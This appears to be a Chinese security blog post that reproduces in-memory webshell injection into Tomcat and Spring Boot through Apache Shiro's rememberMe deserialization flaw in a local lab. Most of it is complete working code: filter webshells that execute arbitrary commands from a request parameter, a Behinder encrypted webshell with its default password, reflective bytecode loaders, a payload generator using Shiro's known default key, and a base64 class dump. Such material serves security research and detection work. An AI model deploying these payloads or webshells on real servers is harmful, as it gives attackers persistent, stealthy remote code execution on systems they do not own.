内存马实战(持续更新中)

注:这篇文章记录在我的语雀里面,语雀格式好看一点,地址:
https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61

计划

复现以下框架的内存马注入:
shiro:

  • 普通内存马
  • 冰蝎马
  • WebSocket马

xxl-job

  • filter马
  • 冰蝎马
  • netty内存马
  • agent内存马

其他

  • JNDI(字节码里执行)
  • SpringBoot spel表达式注入(spring cloud gateway)
  • Struts2的ognl表达式注入
  • Tomcat的EL表达式注入

参考:https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

Tomcat+Shiro内存马

启动环境

环境使用shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell
配置一个tomcat地址,然后shirodemo工件添加进去启动即可
图片.png
部署工件:图片.png启动成功:图片.png

注入普通内存马

构建ExecFilter.java

注入一个filter类型的内存马ExecFilter.java,这个马有两部分:一个恶意filter将恶意filter注册进filterChain的类
ExecFilterFilter因为其被TemplatesImpl类来加载,所以需要继承AbstractTranslet 类,原因参考:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/ezka61zk9zoksi5c#tv850
最终得到如下代码:

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

代码是会报错的,需要添加tomcat核心包
图片.png
添加tomcat核心包

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-core</artifactId>
  <version>8.5.50</version>
</dependency>
利用反序列化漏洞注入

需要用CB1链或者CCShiro链进行注入,我之前写过:无commons-collections链:CommonsBeanutils
需要简单的改一下参数和返回值。
新建一个类Client_memshell,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密

package MemShell.ShiroFilter;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ExecFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

生成poc,通过rememberMe=发送,报错请求头太大
图片.png

修改配置复现

方法一:修改maxHttpHeaderSize配置
在tomcat的server.xml 配置文件中的 <Connector> 元素内设置 maxHttpHeaderSize 属性。

maxHttpHeaderSize="999999"

图片.png
然后生成的poc构造发送,这次是200了
但是报错:Unable to deserialze argument byte array.,意思是无法将字节数组反序列化为对象。 图片.png网上查了一下说的是因为tomcat版本的问题:shiro注入filter内存马及tomcat版本对获取context影响的分析_shiro内存马-CSDN博客
总结一下应该是8.5.78往后的tomcat8都不行只有之前的版本可以使用WebappClassLoaderBase#getResources()
于是我又去下了个tomcat8.5.50的,下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/
换了版本之后成功了
图片.png
成功弹计算器
图片.png

绕过maxHttpHeaderSize

POST请求字节码绕过maxHttpHeaderSize

注入普通内存马

tomcat大小问题绕过参考洋洋师傅的文章:绕过maxHttpHeaderSize,我采用从POST请求体中发送字节码数据的方式进行绕过。
思路就是获取request、response等对象,然后通过request对象的getParameter方法获取参数,defineClass加载参数传进来的字节码即可。
把之前设置的maxHttpHeaderSize再删掉:
图片.png
使用链:CommonsCollectionsShiro,代码如下

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

要注入的filter内存马ExecFilter

package MemShell.ShiroFilter;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class ExecFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            ExecFilter execFilter = new ExecFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(execFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(execFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

构建ClassDataLoader.java用于接收参数classData然后实例化传入的字节码并执行。

package MemShell.ShiroFilter.maxHttpHeaderSize;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

使用Client_memshell.java生成aes+base64加密的反序列化链:

package MemShell.ShiroFilter;

import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader;
import MemShell.ShiroFilter.maxHttpHeaderSize.ClassDataLoader_Tomcat;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ClassDataLoader.class.getName());

//        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

将生成的poc通过Cookie: rememberMe=发送图片.png然后生成base64编码过的ExecFilter.class字节码,通过post传参,注意还要url编码一下

cat ExecFilter.class|base64 |sed ':label;N;s/\n//;b label'

yv66vgAAADQBQwoATACjCQCkAKUIAKYKAKcAqAgAdwsAqQCqCgCrAKwKAKsArQcArgcArwoAsACxCgAKALIKAAkAswcAtAoADgCjCgAJALUKAA4AtgoADgC3CgAOALgLALkAugoAuwC8CgC9AL4KAL0AvwoAvQDACwDBAMIIAGcIAMMIAMQKAMUAxgoAxQDHBwDICgAfAMkLAMoAywcAzAoAPwDNCACMCgA7AM4KAM8A0AoAzwDRBwDSBwDTCgApAKMHANQKACsAowoAKwDVCgArANYKADsA1woAKwDYCgAiANkHANoKADIAowoAMgDbCgAyANYJANwA3QoA3ADeCgAyAN8KACIA4AcA4QcA4gcA4woAOwDkCgDlANAHAOYKAOUA5wsAKADoBwDpCgBCAOoHAOsKAEQA6gcA7AoARgDqBwDtCgBIAOoHAO4KAEoA6gcA7wcA8AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTE1lbVNoZWxsL1NoaXJvRmlsdGVyL0V4ZWNGaWx0ZXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb... ...

如下发送
图片.png
弹个计算器看看成功没有,成功!图片.png

注入冰蝎马

classloader和cc链都是一样的,只是将ExecFilter.java换成冰蝎马BehinderFilter.java

package MemShell.ShiroFilter;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter BX ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

生成它的字节码,然后base64+url编码,通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

然后使用冰蝎连接,成功:
URL:http://192.168.32.129:8080/shirodemo_war/
密码:rebeyond
图片.png

原理分析

ExecFilter构造思路

我写的笔记:冰蝎马分析与改造

冰蝎马改造为字节码

参考:https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
我写的笔记:冰蝎马分析与改造

Springboot+Shiro注内存马

启动环境

启动环境遇到了挺多问题

  1. 首先springboot-shiro这个目录没有被标记为模块

解决办法:在项目结构中添加
图片.png

  1. 然后又报错“找不到项目 ‘org.springframework.boot:spring-boot-starter-parent:2.4.5’”等一堆报错,百度了一下。

解决办法:选择File—>Invalidate Caches / Restart…就可以解决这个问题,因为更新之后,缓存没有及时生效,重启之后就好了。
20210505195940693.png

  1. 最后报错“java: 程序包org.apache.catalina.connector不存在

解决办法:右键模块——>Maven——>重新加载项目
图片.png
然后终于跑起来了图片.png

注入冰蝎马

不搞那么麻烦了,直接注冰蝎马,注意spring的MyClassLoader如下,是通过Spring Boot上下文中获取:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");

            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

将生成的poc通过Cookie: rememberMe=发送
注意得先添加spring的依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.4.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

如下所示:
图片.png
图片.png
生成冰蝎的字节码,然后base64+url编码,通过classData发送

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

注意冰蝎马因为tomcat和spring环境不一样,需要使用try… catch… 应对不同的环境图片.png发送后成功连接冰蝎图片.png

原理分析

spring和tomcat注册filter的差异分析

原因:springboot中的standardContextfilterConfigs值是继承自父类图片.webp使用try-catch对不同环境进行读取即可,也就是多了个getSuperclass()

getSuperclass():返回该类直接继承的父类的Class对象。 如果该类是Object类,则返回null。

Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
Spring Boot分析ClassLoader

首先是Spring Boot,通过Spring Boot的上下文获取request对象图片.png然后通过request获取response和session对象图片.png通过request获取post参数classData后base64解码。图片.png最后通过反射获取ClassLoader#defineClass,然后将传过来的字节码还原为类,实例化这个类调用其equals方法,参数为request,response,session图片.png

Tomcat分析ClassLoader

Tomcat和spring代码区别就是其没有spring的上下文,需要另外寻找其request。这里是通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。

可以使用 内存对象搜索工具-java-object-searcher寻找,首先放到代码中:
图片.png
编写一个servlet,在其doGet方法中写入对应的查找逻辑

import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

public class helloController extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
        //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一个广度优先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打开调试模式
        searcher.setIs_debug(true);
        //挖掘深度为20
        searcher.setMax_search_depth(20);
        //设置报告保存位置
        searcher.setReport_save_path("C:\\");
        searcher.searchObject();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

在web.xml也要配好映射:

  <!--注册servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的请求路径-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

位置如下:图片.png我的虚拟机只有C盘,还需更改路径为C盘

searcher.setReport_save_path("C:\\");

然后访问/hello, 查找结果文件保存在C盘根目录下
结果中有RequestInfo
图片.png
然后这里我还不知道打断点在那里… …
问了下朋友
图片.png
说的在jar包中打断点

最后也是找到了,不过也是一知半解的,并且这个Request对象也不是最终的Request对象

这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象,通过此对象就能调用getParameter方法获取到请求体里面的数据

图片.png复制它的堆栈出来是这样的:

createProcessor:904, AbstractHttp11Protocol (org.apache.coyote.http11)
process:798, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1623, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

然后最后的代码就是通过反射一直取值拿到request

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

XXL-JOB

